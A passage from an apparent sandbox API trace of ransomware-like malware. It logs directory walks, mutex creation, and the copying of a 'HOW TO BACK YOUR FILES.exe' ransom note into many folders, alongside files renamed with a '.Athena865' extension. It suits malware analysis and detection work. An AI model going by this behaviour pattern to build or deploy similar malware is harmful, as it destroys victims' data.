Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.593] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0097.593] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.593] lstrcmpiW (lpString1="Sun", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.593] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Sun" | out: lpString1="Sun") returned="Sun" [0097.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b9f0 [0097.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d390 [0097.594] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0097.594] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0097.594] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.594] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0097.594] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.594] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.594] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0097.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ba08 [0097.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53b5a0 [0097.594] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0097.594] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0097.594] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.595] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0097.595] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.595] ReleaseMutex (hMutex=0xec) returned 1 [0097.595] CloseHandle (hObject=0xec) returned 1 [0097.595] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Desktop" | out: lpString1="C:\\ProgramData\\Application Data\\Desktop") returned="C:\\ProgramData\\Application Data\\Desktop" [0097.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515e48 | out: hHeap=0x4f0000) returned 1 [0097.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530a58 | out: hHeap=0x4f0000) returned 1 [0097.595] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Desktop") returned 39 [0097.595] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7A1787C1C54EC2B864F4035AF07EB3D7") returned 0xec [0097.595] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.595] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Desktop" | out: lpString1="C:\\ProgramData\\Application Data\\Desktop") returned="C:\\ProgramData\\Application Data\\Desktop" [0097.595] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.596] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.596] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.596] GetLastError () returned 0x0 [0097.596] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.596] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.597] CloseHandle (hObject=0xf4) returned 1 [0097.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.597] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.597] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc472b880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc472b880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.598] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.598] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.599] lstrcpyW (in: lpString1=0x241e898, lpString2="Adobe Reader X.lnk.Athena865" | out: lpString1="Adobe Reader X.lnk.Athena865") returned="Adobe Reader X.lnk.Athena865" [0097.599] lstrlenW (lpString="Adobe Reader X.lnk.Athena865") returned 28 [0097.599] lstrlenW (lpString="Athena865") returned 9 [0097.599] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.599] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0097.599] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.599] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.599] lstrcpyW (in: lpString1=0x241e898, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0097.599] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0097.599] lstrlenW (lpString="Athena865") returned 9 [0097.599] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.599] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Chrome.lnk.Athena865", cAlternateFileName="GOOGLE~1.ATH")) returned 1 [0097.599] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.599] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.599] lstrcpyW (in: lpString1=0x241e898, lpString2="Google Chrome.lnk.Athena865" | out: lpString1="Google Chrome.lnk.Athena865") returned="Google Chrome.lnk.Athena865" [0097.599] lstrlenW (lpString="Google Chrome.lnk.Athena865") returned 27 [0097.599] lstrlenW (lpString="Athena865") returned 9 [0097.599] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.599] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.599] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.599] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 1 [0097.599] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.599] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.599] lstrcpyW (in: lpString1=0x241e898, lpString2="Mozilla Firefox.lnk.Athena865" | out: lpString1="Mozilla Firefox.lnk.Athena865") returned="Mozilla Firefox.lnk.Athena865" [0097.599] lstrlenW (lpString="Mozilla Firefox.lnk.Athena865") returned 29 [0097.599] lstrlenW (lpString="Athena865") returned 9 [0097.600] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.600] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 0 [0097.600] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.600] ReleaseMutex (hMutex=0xec) returned 1 [0097.600] CloseHandle (hObject=0xec) returned 1 [0097.600] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Documents" | out: lpString1="C:\\ProgramData\\Application Data\\Documents") returned="C:\\ProgramData\\Application Data\\Documents" [0097.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5284d0 | out: hHeap=0x4f0000) returned 1 [0097.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530a70 | out: hHeap=0x4f0000) returned 1 [0097.600] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Documents") returned 41 [0097.600] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AC636697E96F4CA40B2C112B447358F0") returned 0xec [0097.600] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.600] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Documents" | out: lpString1="C:\\ProgramData\\Application Data\\Documents") returned="C:\\ProgramData\\Application Data\\Documents" [0097.600] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.600] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.601] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.601] GetLastError () returned 0x0 [0097.601] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.601] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.602] CloseHandle (hObject=0xf4) returned 1 [0097.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.602] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.602] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.602] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.602] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.602] lstrcpyW (in: lpString1=0x241e89c, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0097.602] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0097.602] lstrlenW (lpString="Athena865") returned 9 [0097.602] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.602] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.602] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.602] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0097.602] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.602] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.603] lstrcpyW (in: lpString1=0x241e89c, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0097.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a70 [0097.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52e740 [0097.603] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0097.603] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0097.603] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.603] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0097.603] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.603] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.603] lstrcpyW (in: lpString1=0x241e89c, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0097.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a58 [0097.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x539338 [0097.604] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0097.604] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0097.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.604] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0097.604] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.604] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.604] lstrcpyW (in: lpString1=0x241e89c, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0097.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ba20 [0097.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e6d0 [0097.604] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0097.604] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0097.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.605] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0097.605] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.605] ReleaseMutex (hMutex=0xec) returned 1 [0097.605] CloseHandle (hObject=0xec) returned 1 [0097.605] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Favorites" | out: lpString1="C:\\ProgramData\\Application Data\\Favorites") returned="C:\\ProgramData\\Application Data\\Favorites" [0097.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528470 | out: hHeap=0x4f0000) returned 1 [0097.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530a88 | out: hHeap=0x4f0000) returned 1 [0097.605] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Favorites") returned 41 [0097.605] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\89693D9F8C5CF7495153423C7206A394") returned 0xec [0097.605] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.605] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Favorites" | out: lpString1="C:\\ProgramData\\Application Data\\Favorites") returned="C:\\ProgramData\\Application Data\\Favorites" [0097.605] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.606] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.606] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.606] GetLastError () returned 0x0 [0097.606] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.606] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.607] CloseHandle (hObject=0xf4) returned 1 [0097.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.607] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.607] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.607] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.608] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.608] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Microsoft" | out: lpString1="C:\\ProgramData\\Application Data\\Microsoft") returned="C:\\ProgramData\\Application Data\\Microsoft" [0097.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52fa40 | out: hHeap=0x4f0000) returned 1 [0097.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 